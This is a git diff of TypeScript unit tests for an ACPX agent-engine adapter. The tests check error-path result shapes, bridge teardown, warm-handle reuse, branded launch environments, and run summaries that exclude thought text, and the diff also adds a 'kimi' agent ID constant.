+  await fs.writeFile(path.join(localCwd, "hello.txt"), "hi", "utf8");
+  const executionTarget = {
+    kind: "remote",
+    transport: "sandbox",
+    providerKey: "fake-plugin",
+    remoteCwd,
+    runner: createLocalSandboxRunner(),
+  };
+  return { root, stateDir, localCwd, remoteCwd, executionTarget };
+}
+
+const okHandle = {
+  backendSessionId: "backend-session",
+  agentSessionId: "agent-session",
+  runtimeSessionName: "runtime-session",
+};
+
+function completedTurn() {
+  return {
+    events: (async function* () {})(),
+    result: Promise.resolve({ status: "completed", stopReason: "end_turn" }),
+    cancel: async () => {},
+  };
+}
+
+function throwingTurn() {
+  return {
+    events: (async function* () {
+      throw new Error("turn upstream boom");
+    })(),
+    result: Promise.resolve({ status: "completed", stopReason: "end_turn" }),
+    cancel: async () => {},
+  };
+}
+
+// A context whose only prompt-read field throws when read, so the prompt build
+// fails after the session handshake succeeds and before the turn starts.
+function throwingHandoffContext(): Record<string, unknown> {
+  const context: Record<string, unknown> = {};
+  Object.defineProperty(context, "paperclipSessionHandoffMarkdown", {
+    enumerable: false,
+    get() {
+      throw new Error("prompt build boom");
+    },
+  });
+  return context;
+}
+
+// Stub both sandbox bridges with stop spies collected per start, so a test can
+// assert the bridges stopped without running the real bridge transport.
+function stubBridges() {
+  const paperclipStops: Array<ReturnType<typeof vi.fn>> = [];
+  const processStops: Array<ReturnType<typeof vi.fn>> = [];
+  vi.mocked(startAdapterExecutionTargetPaperclipBridge).mockImplementation(async () => {
+    const stop = vi.fn(async () => {});
+    paperclipStops.push(stop);
+    return { env: {}, stop } as never;
+  });
+  vi.mocked(startAdapterExecutionTargetProcessSessionBridge).mockImplementation(async () => {
+    const stop = vi.fn(async () => {});
+    processStops.push(stop);
+    return { agentCommand: null, stop } as never;
+  });
+  const anyStopped = (stops: Array<ReturnType<typeof vi.fn>>) =>
+    stops.some((stop) => stop.mock.calls.length > 0);
+  const stoppedCount = (stops: Array<ReturnType<typeof vi.fn>>) =>
+    stops.filter((stop) => stop.mock.calls.length > 0).length;
+  return { paperclipStops, processStops, anyStopped, stoppedCount };
+}
+
+function remoteArgs(
+  stateDir: string,
+  localCwd: string,
+  executionTarget: unknown,
+  overrides: Record<string, unknown> = {},
+) {
+  return {
+    agent: { id: "agent-1", companyId: "company-1" },
+    runtime: {},
+    config: { agent: "custom", agentCommand: "node ./fake-acp.js", stateDir, cwd: localCwd },
+    context: {},
+    authToken: "real-run-jwt",
+    executionTarget,
+    onLog: async () => {},
+    onMeta: async () => {},
+    onEvent: async () => {},
+    ...overrides,
+  };
+}
+
+describe("composed ACPX run: engine-boundary result form per exit path", () => {
+  beforeEach(() => {
+    vi.clearAllMocks();
+  });
+
+  it("returns (never throws) a create_runtime error result when the post-build runtime construction fails", async () => {
+    const root = await makeTempRoot();
+    const execute = createAcpxEngineExecutor({
+      createRuntime: () => {
+        throw new Error("createRuntime boom");
+      },
+    });
+
+    // The engine RETURNS a settled error result on this path; it does not throw.
+    const result = await execute({
+      runId: "boundary-create-fail",
+      agent: { id: "agent-1", companyId: "company-1" },
+      runtime: {},
+      config: { agent: "custom", agentCommand: "node ./fake-acp.js", stateDir: path.join(root, "state") },
+      context: {},
+      onLog: async () => {},
+      onMeta: async () => {},
+    } as never);
+
+    expect(result.exitCode).toBe(1);
+    expect(result.signal).toBe(null);
+    expect(result.timedOut).toBe(false);
+    expect(result.resultJson?.phase).toBe("create_runtime");
+    expect(result.summary).toContain("createRuntime boom");
+  });
+
+  it("returns an ensure_session error result when the handshake fails", async () => {
+    const root = await makeTempRoot();
+    const execute = createAcpxEngineExecutor({
+      createRuntime: () =>
+        ({
+          ensureSession: async () => {
+            throw new Error("ensureSession boom");
+          },
+          startTurn: () => completedTurn(),
+          close: async () => {},
+        }) as never,
+    });
+
+    const result = await execute({
+      runId: "boundary-ensure-fail",
+      agent: { id: "agent-1", companyId: "company-1" },
+      runtime: {},
+      config: { agent: "custom", agentCommand: "node ./fake-acp.js", stateDir: path.join(root, "state") },
+      context: {},
+      onLog: async () => {},
+      onMeta: async () => {},
+    } as never);
+
+    expect(result.exitCode).toBe(1);
+    expect(result.resultJson?.phase).toBe("ensure_session");
+  });
+
+  it("returns a runtime-error result with no clearSession and no errorMeta when ensureSession yields no handle", async () => {
+    const root = await makeTempRoot();
+    const execute = createAcpxEngineExecutor({
+      createRuntime: () =>
+        ({
+          // A runtime that returns no session handle drives the missing-handle path.
+          ensureSession: async () => undefined,
+          startTurn: () => completedTurn(),
+          close: async () => {},
+        }) as never,
+    });
+
+    const result = await execute({
+      runId: "boundary-missing-handle",
+      agent: { id: "agent-1", companyId: "company-1" },
+      runtime: {},
+      config: { agent: "custom", agentCommand: "node ./fake-acp.js", stateDir: path.join(root, "state") },
+      context: {},
+      onLog: async () => {},
+      onMeta: async () => {},
+    } as never);
+
+    expect(result.exitCode).toBe(1);
+    expect(result.resultJson?.phase).toBe("ensure_session");
+    expect(result.errorCode).toBe("acpx_runtime_error");
+    // The missing-handle result carries neither clearSession nor errorMeta, unlike
+    // the other pre-turn error paths.
+    expect(result.clearSession).toBeUndefined();
+    expect(result.errorMeta).toBeUndefined();
+  });
+
+  it("returns a configure_session error result that carries the requested session fields", async () => {
+    const root = await makeTempRoot();
+    const execute = createAcpxEngineExecutor({
+      createRuntime: () =>
+        ({
+          ensureSession: async () => okHandle,
+          startTurn: () => completedTurn(),
+          // A custom agent with a requested model applies a session config option;
+          // a throwing setConfigOption drives the configure_session failure path.
+          setConfigOption: async () => {
+            throw new Error("setConfigOption boom");
+          },
+          close: async () => {},
+        }) as never,
+    });
+
+    const result = await execute({
+      runId: "boundary-configure-fail",
+      agent: { id: "agent-1", companyId: "company-1" },
+      runtime: {},
+      config: {
+        agent: "custom",
+        agentCommand: "node ./fake-acp.js",
+        model: "custom-model-x",
+        stateDir: path.join(root, "state"),
+      },
+      context: {},
+      onLog: async () => {},
+      onMeta: async () => {},
+    } as never);
+
+    expect(result.exitCode).toBe(1);
+    expect(result.resultJson?.phase).toBe("configure_session");
+    // The configure_session result echoes the requested session identity fields.
+    expect(result.resultJson).toHaveProperty("agent");
+    expect(result.resultJson?.requestedModel).toBe("custom-model-x");
+    expect(result.resultJson).toHaveProperty("requestedThinkingEffort");
+    expect(result.resultJson).toHaveProperty("fastMode");
+  });
+
+  it("returns a prepare_turn error result when the prompt build fails before the turn starts", async () => {
+    const root = await makeTempRoot();
+    const execute = createAcpxEngineExecutor({
+      createRuntime: () =>
+        ({
+          ensureSession: async () => okHandle,
+          startTurn: () => completedTurn(),
+          close: async () => {},
+        }) as never,
+    });
+
+    const result = await execute({
+      runId: "boundary-prepare-fail",
+      agent: { id: "agent-1", companyId: "company-1" },
+      runtime: {},
+      config: { agent: "custom", agentCommand: "node ./fake-acp.js", stateDir: path.join(root, "state") },
+      context: throwingHandoffContext(),
+      onLog: async () => {},
+      onMeta: async () => {},
+    } as never);
+
+    expect(result.exitCode).toBe(1);
+    expect(result.resultJson?.phase).toBe("prepare_turn");
+  });
+
+  it("returns a turn error result with acpx_turn_failed when the running turn fails", async () => {
+    const root = await makeTempRoot();
+    const execute = createAcpxEngineExecutor({
+      createRuntime: () =>
+        ({
+          ensureSession: async () => okHandle,
+          startTurn: () => throwingTurn(),
+          close: async () => {},
+        }) as never,
+    });
+
+    const result = await execute({
+      runId: "boundary-turn-fail",
+      agent: { id: "agent-1", companyId: "company-1" },
+      runtime: {},
+      config: { agent: "custom", agentCommand: "node ./fake-acp.js", stateDir: path.join(root, "state") },
+      context: {},
+      onLog: async () => {},
+      onMeta: async () => {},
+    } as never);
+
+    expect(result.exitCode).toBe(1);
+    expect(result.resultJson?.phase).toBe("turn");
+    expect(result.errorCode).toBe("acpx_turn_failed");
+  });
+
+  it("returns the terminal turn-success shape (the one non-error-shaped return)", async () => {
+    const root = await makeTempRoot();
+    const execute = createAcpxEngineExecutor({
+      createRuntime: () => buildRuntime() as never,
+    });
+
+    const result = await execute({
+      runId: "boundary-success",
+      agent: { id: "agent-1", companyId: "company-1" },
+      runtime: {},
+      config: { agent: "custom", agentCommand: "node ./fake-acp.js", stateDir: path.join(root, "state") },
+      context: {},
+      onLog: async () => {},
+      onMeta: async () => {},
+    } as never);
+
+    // A completed, non-timed-out turn returns exitCode 0, no signal, no errorCode,
+    // and the session identity fields, with resultJson.status = "completed".
+    expect(result.exitCode).toBe(0);
+    expect(result.signal).toBe(null);
+    expect(result.timedOut).toBe(false);
+    expect(result.errorCode).toBe(null);
+    expect(result.resultJson?.status).toBe("completed");
+    expect(result.sessionId).toBe("backend-session");
+    expect(result.sessionDisplayId).toBe("agent-session");
+    expect(result.sessionParams).toBeTruthy();
+  });
+
+  it("THROWS (does not return) when buildRuntime fails before it settles", async () => {
+    const { stateDir, localCwd, executionTarget } = await setupRemoteSandbox();
+    // A staging failure throws inside buildRuntime before it settles, so the engine
+    // rethrows through the `if (!buildRuntimeSettled) throw err` guard. This is one
+    // of exactly two engine-boundary throw paths.
+    vi.mocked(prepareAdapterExecutionTargetRuntime).mockImplementationOnce(async () => {
+      throw new Error("staging boom");
+    });
+    const execute = createAcpxEngineExecutor({
+      warmHandles: new Map(),
+      stagedRuntimes: new Map(),
+      stagingLocks: new Map(),
+      createRuntime: () => buildRuntime() as never,
+    });
+
+    await expect(
+      execute({
+        runId: "boundary-build-throw",
+        ...remoteArgs(stateDir, localCwd, executionTarget),
+      } as never),
+    ).rejects.toThrow("staging boom");
+  });
+
+  it("THROWS (does not return) on a partial bridge failure and stops the started sibling bridge once", async () => {
+    const { stateDir, localCwd, executionTarget } = await setupRemoteSandbox();
+    // The paperclip bridge fails while the concurrently-started process-session
+    // bridge resolves a live handle. This is the second engine-boundary throw path;
+    // the abandon path must stop the started sibling so no bridge leaks.
+    const stop = vi.fn(async () => {});
+    vi.mocked(startAdapterExecutionTargetPaperclipBridge).mockImplementationOnce(async () => {
+      throw new Error("paperclip bridge boom");
+    });
+    vi.mocked(startAdapterExecutionTargetProcessSessionBridge).mockImplementationOnce(
+      async () => ({ agentCommand: null, stop }) as never,
+    );
+    const execute = createAcpxEngineExecutor({
+      warmHandles: new Map(),
+      stagedRuntimes: new Map(),
+      stagingLocks: new Map(),
+      createRuntime: () => buildRuntime() as never,
+    });
+
+    await expect(
+      execute({
+        runId: "boundary-bridge-throw",
+        ...remoteArgs(stateDir, localCwd, executionTarget),
+      } as never),
+    ).rejects.toThrow("paperclip bridge boom");
+    expect(stop).toHaveBeenCalledTimes(1);
+  });
+});
+
+describe("composed ACPX run: finalization set fires exactly once per exit path", () => {
+  beforeEach(() => {
+    vi.clearAllMocks();
+  });
+
+  it("stops both bridges once and releases the staging lease on every exit path", async () => {
+    const scenarios: Array<{
+      name: string;
+      createRuntime: AcpxEngineExecutorOptions["createRuntime"];
+      config?: Record<string, unknown>;
+      context?: Record<string, unknown>;
+    }> = [
+      {
+        name: "create_runtime",
+        createRuntime: () => {
+          throw new Error("createRuntime boom");
+        },
+      },
+      {
+        name: "ensure_session",
+        createRuntime: () =>
+          ({
+            ensureSession: async () => {
+              throw new Error("ensure boom");
+            },
+            startTurn: () => completedTurn(),
+            close: async () => {},
+          }) as never,
+      },
+      {
+        name: "configure_session",
+        createRuntime: () =>
+          ({
+            ensureSession: async () => okHandle,
+            startTurn: () => completedTurn(),
+            setConfigOption: async () => {
+              throw new Error("config boom");
+            },
+            close: async () => {},
+          }) as never,
+        config: { agent: "custom", agentCommand: "node ./fake-acp.js", model: "custom-model-x" },
+      },
+      {
+        name: "prepare_turn",
+        createRuntime: () =>
+          ({
+            ensureSession: async () => okHandle,
+            startTurn: () => completedTurn(),
+            close: async () => {},
+          }) as never,
+        context: throwingHandoffContext(),
+      },
+      {
+        name: "turn",
+        createRuntime: () =>
+          ({
+            ensureSession: async () => okHandle,
+            startTurn: () => throwingTurn(),
+            close: async () => {},
+          }) as never,
+      },
+      {
+        name: "success",
+        createRuntime: () =>
+          ({
+            ensureSession: async () => okHandle,
+            startTurn: () => completedTurn(),
+            close: async () => {},
+          }) as never,
+      },
+    ];
+
+    for (const scenario of scenarios) {
+      const { stateDir, localCwd, executionTarget } = await setupRemoteSandbox();
+      const { paperclipStops, processStops, stoppedCount } = stubBridges();
+      const stagingLocks = new Map<string, Promise<unknown>>();
+      const execute = createAcpxEngineExecutor({
+        stagingLocks,
+        warmHandles: new Map(),
+        stagedRuntimes: new Map(),
+        createRuntime: scenario.createRuntime,
+      });
+
+      const overrides: Record<string, unknown> = {};
+      if (scenario.config) {
+        overrides.config = {
+          agent: "custom",
+          agentCommand: "node ./fake-acp.js",
+          stateDir,
+          cwd: localCwd,
+          ...scenario.config,
+        };
+      }
+      if (scenario.context) overrides.context = scenario.context;
+
+      await execute({
+        runId: `finalize-${scenario.name}`,
+        ...remoteArgs(stateDir, localCwd, executionTarget, overrides),
+      } as never).catch(() => {});
+
+      // The finalization set fires exactly once: each bridge stops once and the
+      // per-session staging lease releases, so the lock map never strands the next
+      // same-session run.
+      expect(stoppedCount(paperclipStops), `paperclip bridge must stop once on ${scenario.name}`).toBe(1);
+      expect(stoppedCount(processStops), `process-session bridge must stop once on ${scenario.name}`).toBe(1);
+      expect(stagingLocks.size, `lease must release on ${scenario.name}`).toBe(0);
+    }
+  });
+
+  it("does not re-run the turn teardown when the result mapping throws after the close", async () => {
+    const { stateDir, localCwd, executionTarget } = await setupRemoteSandbox();
+    const { paperclipStops, processStops, stoppedCount } = stubBridges();
+    let closeCount = 0;
+    const execute = createAcpxEngineExecutor({
+      warmHandles: new Map(),
+      stagedRuntimes: new Map(),
+      stagingLocks: new Map(),
+      createRuntime: () =>
+        ({
+          ensureSession: async () => okHandle,
+          startTurn: () => ({
+            events: (async function* () {
+              yield { type: "done", stopReason: "end_turn" };
+            })(),
+            // A completed turn whose result mapping throws after the close is read.
+            result: Promise.resolve({
+              status: "completed",
+              get stopReason(): string {
+                throw new Error("mapping boom");
+              },
+            }),
+            cancel: async () => {},
+          }),
+          close: async () => {
+            closeCount += 1;
+          },
+        }) as never,
+    });
+
+    await execute({
+      runId: "finalize-map-throw",
+      ...remoteArgs(stateDir, localCwd, executionTarget),
+    } as never).catch(() => {});
+
+    // The completed turn closed the runtime once; the mapping throw did not re-run
+    // the teardown through the turn catch.
+    expect(closeCount).toBe(1);
+    expect(stoppedCount(paperclipStops)).toBe(1);
+    expect(stoppedCount(processStops)).toBe(1);
+  });
+});
+
+describe("composed ACPX run: host-lane warm handle set", () => {
+  beforeEach(() => {
+    vi.clearAllMocks();
+  });
+
+  it("closes and relaunches a persistent local runtime, so the next compatible run re-creates it", async () => {
+    const root = await makeTempRoot();
+    const stateDir = path.join(root, "state");
+    let createCount = 0;
+    const warmHandles = new Map();
+    const execute = createAcpxEngineExecutor({
+      warmHandles,
+      createRuntime: () => {
+        createCount += 1;
+        return buildRuntime() as never;
+      },
+    });
+    const config = {
+      agent: "custom",
+      agentCommand: "node ./fake-acp.js",
+      stateDir,
+      mode: "persistent",
+      warmHandleIdleMs: 60_000,
+    };
+
+    const first = await execute({
+      runId: "warm-save-1",
+      agent: { id: "agent-1", companyId: "company-1" },
+      runtime: {},
+      config,
+      context: {},
+      onLog: async () => {},
+      onMeta: async () => {},
+      onEvent: async () => {},
+    } as never);
+    expect(first.exitCode).toBe(0);
+    // Amendment B: a persistent local completed turn closes and relaunches the
+    // runtime instead of warm-saving it (the run-minted API key is never revoked).
+    expect(warmHandles.size).toBe(0);
+    expect(createCount).toBe(1);
+
+    const second = await execute({
+      runId: "warm-save-2",
+      agent: { id: "agent-1", companyId: "company-1" },
+      runtime: { sessionParams: first.sessionParams },
+      config,
+      context: {},
+      onLog: async () => {},
+      onMeta: async () => {},
+      onEvent: async () => {},
+    } as never);
+    expect(second.exitCode).toBe(0);
+    // No warm runtime survived, so the compatible second run re-creates it.
+    expect(createCount).toBe(2);
+  });
+
+  it("closes (does not warm-save) a completed non-persistent runtime, so the next run re-creates", async () => {
+    const root = await makeTempRoot();
+    const stateDir = path.join(root, "state");
+    let createCount = 0;
+    let closeCount = 0;
+    const warmHandles = new Map();
+    const execute = createAcpxEngineExecutor({
+      warmHandles,
+      createRuntime: () => {
+        createCount += 1;
+        return {
+          ensureSession: async () => okHandle,
+          startTurn: () => completedTurn(),
+          setConfigOption: async () => {},
+          close: async () => {
+            closeCount += 1;
+          },
+        } as never;
+      },
+    });
+    // No persistent mode, so the completed turn closes the runtime instead of
+    // warm-saving it.
+    const config = { agent: "custom", agentCommand: "node ./fake-acp.js", stateDir };
+
+    const first = await execute({
+      runId: "warm-none-1",
+      agent: { id: "agent-1", companyId: "company-1" },
+      runtime: {},
+      config,
+      context: {},
+      onLog: async () => {},
+      onMeta: async () => {},
+      onEvent: async () => {},
+    } as never);
+    expect(first.exitCode).toBe(0);
+    expect(warmHandles.size).toBe(0);
+    expect(closeCount).toBe(1);
+
+    const second = await execute({
+      runId: "warm-none-2",
+      agent: { id: "agent-1", companyId: "company-1" },
+      runtime: { sessionParams: first.sessionParams },
+      config,
+      context: {},
+      onLog: async () => {},
+      onMeta: async () => {},
+      onEvent: async () => {},
+    } as never);
+    expect(second.exitCode).toBe(0);
+    // No warm handle survived, so the second run constructs a fresh runtime.
+    expect(createCount).toBe(2);
+  });
+
+  it("runs a fresh acp.handshake on the second run and re-creates the runtime (no warm reuse)", async () => {
+    const root = await makeTempRoot();
+    const stateDir = path.join(root, "state");
+    let createCount = 0;
+    const warmHandles = new Map();
+    const secondEvents: Array<{ eventType: string; payload?: Record<string, unknown> }> = [];
+    const execute = createAcpxEngineExecutor({
+      warmHandles,
+      createRuntime: () => {
+        createCount += 1;
+        return buildRuntime() as never;
+      },
+    });
+    const config = {
+      agent: "custom",
+      agentCommand: "node ./fake-acp.js",
+      stateDir,
+      mode: "persistent",
+      warmHandleIdleMs: 60_000,
+    };
+    const first = await execute({
+      runId: "warm-hit-1",
+      agent: { id: "agent-1", companyId: "company-1" },
+      runtime: {},
+      config,
+      context: {},
+      onLog: async () => {},
+      onMeta: async () => {},
+      onEvent: async () => {},
+    } as never);
+
+    await execute({
+      runId: "warm-hit-2",
+      agent: { id: "agent-1", companyId: "company-1" },
+      runtime: { sessionParams: (first as { sessionParams?: unknown }).sessionParams },
+      config,
+      context: {},
+      onLog: async () => {},
+      onMeta: async () => {},
+      onEvent: async (event: { eventType: string; payload?: Record<string, unknown> }) => {
+        secondEvents.push(event);
+      },
+    } as never);
+
+    // Amendment B: the first run closed and relaunched, so no warm handle survives.
+    // The second run runs a fresh acp.handshake (outcome ok, not skipped) and
+    // re-creates the runtime.
+    const handshakeEvents = secondEvents.filter(
+      (event) => event.eventType === "run.startup.step" && event.payload?.step === "acp.handshake",
+    );
+    expect(handshakeEvents).toHaveLength(1);
+    expect(handshakeEvents[0]!.payload?.outcome).not.toBe("skipped");
+    expect(createCount).toBe(2);
+  });
+});
diff --git a/packages/adapter-utils/src/acpx-engine/constants.ts b/packages/adapter-utils/src/acpx-engine/constants.ts
index 86368f5f97b..11f3aa22492 100644
--- a/packages/adapter-utils/src/acpx-engine/constants.ts
+++ b/packages/adapter-utils/src/acpx-engine/constants.ts
@@ -9,6 +9,7 @@ export const ACPX_ADAPTER_AGENT_IDS = {
   claude_local: "claude",
   codex_local: "codex",
   gemini_local: "gemini",
+  kimi_local: "kimi",
   custom_acp: "custom",
 } as const;
 
diff --git a/packages/adapter-utils/src/acpx-engine/execute-identity.test.ts b/packages/adapter-utils/src/acpx-engine/execute-identity.test.ts
new file mode 100644
index 00000000000..b182d61242b
--- /dev/null
+++ b/packages/adapter-utils/src/acpx-engine/execute-identity.test.ts
@@ -0,0 +1,95 @@
+// Identity split and launch-environment finalization tests (Phase 17).
+//
+// Two tests are compile-time: the real assertion is that this file typechecks.
+// A `@ts-expect-error` marks an assignment that MUST fail; if it starts to
+// compile, tsc reports the unused directive and the typecheck fails. Each
+// compile-time assertion lives in a declared, unexecuted function, so vitest
+// never runs a synthetic value.
+
+import { describe, expect, it } from "vitest";
+import { buildSessionFingerprint, finalizeLaunchEnvironment } from "./execute.js";
+import type {
+  LaunchEnvironment,
+  RunScopedContribution,
+  RunSiteReuseCandidate,
+  SessionFingerprintIdentity,
+} from "./run-contracts.js";
+
+// A complete fingerprint identity with representative values for the 17 fields.
+const SAMPLE_FINGERPRINT_IDENTITY: SessionFingerprintIdentity = {
+  acpxAgent: "claude",
+  agentCommand: "claude",
+  cwd: "/work",
+  mode: "persistent",
+  permissionMode: "approve-all",
+  nonInteractivePermissions: "deny",
+  requestedModel: "",
+  requestedThinkingEffort: "",
+  fastMode: false,
+  remoteExecutionIdentity: null,
+  additionalSourcesIdentity: {},
+  skillsIdentity: {},
+  skillPromptInstructions: "",
+  paperclipClaudeSettings: null,
+  mcpServers: [],
+  secretManifestHash: "0000",
+  adapterEnvHash: "0000",
+};
+
+describe("acpx identity split and launch environment", () => {
+  it("test_fingerprint_builder_accepts_only_session_fingerprint_identity", () => {
+    // The builder accepts a fingerprint identity and returns a stable hash.
+    const first = buildSessionFingerprint(SAMPLE_FINGERPRINT_IDENTITY);
+    const second = buildSessionFingerprint(SAMPLE_FINGERPRINT_IDENTITY);
+    expect(first).toBe(second);
+    expect(first).toMatch(/^[0-9a-f]{16}$/);
+
+    // The compile-time assertions live in an unexecuted function.
+    function _assertOnlyIdentity(): void {
+      // An outer-key field is not a fingerprint field, so the builder rejects it.
+      // @ts-expect-error companyId is not a SessionFingerprintIdentity field.
+      buildSessionFingerprint({ ...SAMPLE_FINGERPRINT_IDENTITY, companyId: "c" });
+      // @ts-expect-error taskKey is not a SessionFingerprintIdentity field.
+      buildSessionFingerprint({ ...SAMPLE_FINGERPRINT_IDENTITY, taskKey: "t" });
+    }
+    void _assertOnlyIdentity;
+  });
+
+  it("test_finalize_launch_environment_is_sole_constructor_of_branded_environment", () => {
+    // The finalizer merges every contribution and freezes the launch env.
+    const baseEnv: Record<string, string> = { LAUNCH_ENV_TEST_BASE: "base" };
+    const launchEnvironment = finalizeLaunchEnvironment(baseEnv, [
+      { scope: "session", env: { LAUNCH_ENV_TEST_CONTRIB: "contrib" } },
+    ]);
+    expect(launchEnvironment.env.LAUNCH_ENV_TEST_BASE).toBe("base");
+    expect(launchEnvironment.env.LAUNCH_ENV_TEST_CONTRIB).toBe("contrib");
+    expect(Object.isFrozen(launchEnvironment.env)).toBe(true);
+
+    // No plain object literal can stand in for the branded environment; it lacks
+    // the private brand that only `finalizeLaunchEnvironment` sets.
+    function _assertBrand(): void {
+      // @ts-expect-error missing the private launch-environment brand.
+      const _fake: LaunchEnvironment = { env: {} };
+      void _fake;
+    }
+    void _assertBrand;
+  });
+
+  it("test_run_scoped_contribution_is_not_assignable_to_a_reuse_payload", () => {
+    // A run-scoped contribution and the branded launch environment must never
+    // enter a reuse payload (Amendment B). The reuse candidate types reject both.
+    function _assertNotReusable(
+      contribution: RunScopedContribution,
+      launchEnvironment: LaunchEnvironment,
+    ): void {
+      // @ts-expect-error a run-scoped contribution is not a reuse candidate.
+      const _a: RunSiteReuseCandidate = contribution;
+      // @ts-expect-error the branded launch environment is not a reuse candidate.
+      const _b: RunSiteReuseCandidate = launchEnvironment;
+      void _a;
+      void _b;
+    }
+    void _assertNotReusable;
+    expect(true).toBe(true);
+  });
+});
diff --git a/packages/adapter-utils/src/acpx-engine/execute.test.ts b/packages/adapter-utils/src/acpx-engine/execute.test.ts
index d2786120d1b..324e20cf433 100644
--- a/packages/adapter-utils/src/acpx-engine/execute.test.ts
+++ b/packages/adapter-utils/src/acpx-engine/execute.test.ts
@@ -26,6 +26,7 @@ vi.mock("@paperclipai/adapter-utils/execution-target", async (importActual) => {
   };
 });
 import {
+  buildAcpxRunSummary,
   createAcpxEngineExecutor,
   findAncestorBin,
   geminiVersionSupportsNativeAcpFlag,
@@ -336,7 +337,7 @@ const ALLOWED_TURN_SPAN_ATTRIBUTE_KEYS = new Set<string>([
 ]);
 
 describe("shared ACPX engine runtime behavior", () => {
-  it("persists ACP agent process identity before prompting and reuses it for the next warm heartbeat", async () => {
+  it("persists ACP agent process identity before prompting on each run (host lane re-creates, no warm reuse)", async () => {
     const root = await makeTempRoot();
     const startedAt = "2026-07-30T07:00:00.000Z";
     const processPid = 43_210;
@@ -419,7 +420,9 @@ describe("shared ACPX engine runtime behavior", () => {
     } as never);
 
     expect(second.exitCode).toBe(0);
-    expect(runtimeCreateCount).toBe(1);
+    // Amendment B: the host lane closes and relaunches (no warm reuse), so the
+    // second run re-creates the runtime and re-persists the process identity.
+    expect(runtimeCreateCount).toBe(2);
     expect(secondOnSpawn).toHaveBeenCalledOnce();
     expect(turnStartedBeforeProcessIdentity).toBe(false);
   });
@@ -625,6 +628,362 @@ describe("shared ACPX engine runtime behavior", () => {
     });
   });
 
+  it("defaults run summaries to the final output segment without thought text", async () => {
+    const root = await makeTempRoot();
+    const stateDir = path.join(root, "state");
+    const logs: Array<{ stream: string; text: string }> = [];
+    const execute = createAcpxEngineExecutor({
+      createRuntime: () => ({
+        ensureSession: async () => ({
+          backendSessionId: "backend-session",
+          agentSessionId: "agent-session",
+          runtimeSessionName: "runtime-session",
+        }),
+        startTurn: () => ({
+          events: (async function* () {
+            yield {
+              type: "text_delta",
+              text: "Let me get oriented and inspect the PRs…",
+              stream: "output",
+              tag: "agent_message_chunk",
+            };
+            yield {
+              type: "text_delta",
+              text: "hidden chain of thought",
+              stream: "thought",
+              tag: "agent_thought_chunk",
+            };
+            yield {
+              type: "tool_call",
+              text: "Bash (pending)",
+              title: "Bash",
+              status: "pending",
+              toolCallId: "tool-1",
+              tag: "tool_call",
+            };
+            yield {
+              type: "tool_call",
+              text: 'tool call (in_progress): {"command":"',
+              title: "tool call",
+              status: "in_progress",
+              toolCallId: "tool-1",
+              tag: "tool_call_update",
+            };
+            yield {
+              type: "tool_call",
+              text: "tool call (completed): apps",
+              title: "tool call",
+              status: "completed",
+              toolCallId: "tool-1",
+              tag: "tool_call_update",
+            };
+            yield {
+              type: "text_delta",
+              text: "## Update\n\n- Checked PR status\n- Continue burn-in",
+              stream: "output",
+              tag: "agent_message_chunk",
+            };
+            yield { type: "done", stopReason: "end_turn" };
+          })(),
+          result: Promise.resolve({ status: "completed", stopReason: "end_turn" }),
+          cancel: async () => {},
+        }),
+        close: async () => {},
+      }) as never,
+    });
+
+    const result = await execute({
+      runId: "run-default-traits-pin",
+      agent: { id: "agent-1", companyId: "company-1" },
+      runtime: {},
+      config: { agent: "custom", agentCommand: "node ./fake-acp.js", stateDir },
+      context: {},
+      onLog: async (stream: "stdout" | "stderr", text: string) => {
+        logs.push({ stream, text });
+      },
+      onMeta: async () => {},
+    } as never);
+
+    expect(result.exitCode).toBe(0);
+    expect(result.summary).toBe("## Update\n\n- Checked PR status\n- Continue burn-in");
+    expect(result.summary).not.toContain("Let me get oriented");
+    expect(result.summary).not.toContain("hidden chain of thought");
+    const toolCallEvents = logs
+      .map((entry) => {
+        try {
+          return JSON.parse(entry.text) as Record<string, unknown>;
+        } catch {
+          return null;
+        }
+      })
+      .filter((parsed): parsed is Record<string, unknown> => parsed?.type === "acpx.tool_call");
+    // Every tool_call update reaches the run log — including in-progress
+    // updates with the unresolved placeholder title (their name is restored
+    // from the pending announcement). Nothing is coalesced or dropped for
+    // agents without the coalescePlaceholderToolUpdates trait.
+    expect(toolCallEvents.map((event) => [event.name, event.status])).toEqual([
+      ["Bash", "pending"],
+      ["Bash", "in_progress"],
+      ["Bash", "completed"],
+    ]);
+  });
+
+  it("does not allow configuration to include thought text in run summaries", async () => {
+    const root = await makeTempRoot();
+    const stateDir = path.join(root, "state");
+    const execute = createAcpxEngineExecutor({
+      createRuntime: () => ({
+        ensureSession: async () => ({
+          backendSessionId: "backend-session",
+          agentSessionId: "agent-session",
+          runtimeSessionName: "runtime-session",
+        }),
+        startTurn: () => ({
+          events: (async function* () {
+            yield {
+              type: "text_delta",
+              text: "Let me get oriented and inspect the PRs…",
+              stream: "output",
+              tag: "agent_message_chunk",
+            };
+            yield {
+              type: "text_delta",
+              text: "hidden chain of thought",
+              stream: "thought",
+              tag: "agent_thought_chunk",
+            };
+            yield {
+              type: "tool_call",
+              text: "Bash (pending)",
+              title: "Bash",
+              status: "pending",
+              toolCallId: "tool-1",
+              tag: "tool_call",
+            };
+            yield {
+              type: "tool_call",
+              text: 'tool call (in_progress): {"command":"',
+              title: "tool call",
+              status: "in_progress",
+              toolCallId: "tool-1",
+              tag: "tool_call_update",
+            };
+            yield {
+              type: "tool_call",
+              text: "tool call (completed): apps",
+              title: "tool call",
+              status: "completed",
+              toolCallId: "tool-1",
+              tag: "tool_call_update",
+            };
+            yield {
+              type: "text_delta",
+              text: "## Update\n\n- Checked PR status\n- Continue burn-in",
+              stream: "output",
+              tag: "agent_message_chunk",
+            };
+            yield { type: "done", stopReason: "end_turn" };
+          })(),
+          result: Promise.resolve({ status: "completed", stopReason: "end_turn" }),
+          cancel: async () => {},
+        }),
+        close: async () => {},
+      }) as never,
+    });
+
+    const result = await execute({
+      runId: "run-summary-last-segment",
+      agent: { id: "agent-1", companyId: "company-1" },
+      runtime: {},
+      config: {
+        agent: "custom",
+        agentCommand: "node ./fake-acp.js",
+        stateDir,
+        summaryStrategy: "full",
+      },
+      context: {},
+      onLog: async () => {},
+      onMeta: async () => {},
+    } as never);
+
+    expect(result.exitCode).toBe(0);
+    expect(result.summary).toBe("## Update\n\n- Checked PR status\n- Continue burn-in");
+    expect(result.summary).not.toContain("Let me get oriented");
+    expect(result.summary).not.toContain("hidden chain of thought");
+  });
+
+  it("treats a statusless initial tool call as an output-segment boundary", async () => {
+    const root = await makeTempRoot();
+    const stateDir = path.join(root, "state");
+    const execute = createAcpxEngineExecutor({
+      createRuntime: () => ({
